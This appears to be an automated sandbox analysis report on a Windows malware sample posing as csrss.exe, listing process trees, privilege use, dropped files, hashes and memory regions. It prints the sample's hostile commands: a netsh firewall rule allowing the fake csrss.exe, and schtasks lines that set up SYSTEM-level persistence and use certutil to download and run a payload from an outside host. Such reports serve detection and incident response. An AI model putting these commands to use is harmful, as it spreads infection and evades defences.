5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execsrss.exedescription pid process Token: SeDebugPrivilege 968 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Token: SeImpersonatePrivilege 968 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Token: SeSystemEnvironmentPrivilege 2016 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.execmd.exedescription pid process target process PID 1164 wrote to memory of 984 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 1164 wrote to memory of 984 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 1164 wrote to memory of 984 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 1164 wrote to memory of 984 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe cmd.exe PID 984 wrote to memory of 696 984 cmd.exe netsh.exe PID 984 wrote to memory of 696 984 cmd.exe netsh.exe PID 984 wrote to memory of 696 984 cmd.exe netsh.exe PID 1164 wrote to memory of 2016 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 1164 wrote to memory of 2016 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 1164 wrote to memory of 2016 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe PID 1164 wrote to memory of 2016 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"C:\Users\Admin\AppData\Local\Temp\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220802064903.log C:\Windows\Logs\CBS\CbsPersist_20220802064903.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
4.2MB
MD5d7b5c0dfacada838878509c0e797e38c
SHA1c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA2565a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA5120af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
4.2MB
MD5d7b5c0dfacada838878509c0e797e38c
SHA1c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA2565a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA5120af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
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\Windows\rss\csrss.exeFilesize
4.2MB
MD5d7b5c0dfacada838878509c0e797e38c
SHA1c03590cbfeba3f9820457e4ac083144896c7b4c6
SHA2565a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
SHA5120af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
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memory/696-64-0x0000000000000000-mapping.dmp
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memory/696-66-0x000007FEFC221000-0x000007FEFC223000-memory.dmpFilesize
8KB
-
memory/912-84-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
-
memory/912-78-0x0000000140000000-0x00000001405E8000-memory.dmpFilesize
5.9MB
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memory/968-60-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/968-59-0x0000000005140000-0x0000000005836000-memory.dmpFilesize
7.0MB
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memory/968-58-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/968-57-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/968-56-0x0000000005140000-0x0000000005836000-memory.dmpFilesize
7.0MB
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memory/968-55-0x0000000004D90000-0x0000000005137000-memory.dmpFilesize
3.7MB
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memory/968-54-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/984-63-0x0000000000000000-mapping.dmp
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memory/1164-75-0x0000000038360000-0x000000003CABB000-memory.dmpFilesize
71.4MB
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memory/1164-72-0x0000000038360000-0x000000003CABB000-memory.dmpFilesize
71.4MB
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memory/1164-71-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/1164-65-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/1164-62-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/1164-61-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/2016-74-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/2016-73-0x0000000000400000-0x0000000004B5B000-memory.dmpFilesize
71.4MB
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memory/2016-69-0x0000000000000000-mapping.dmp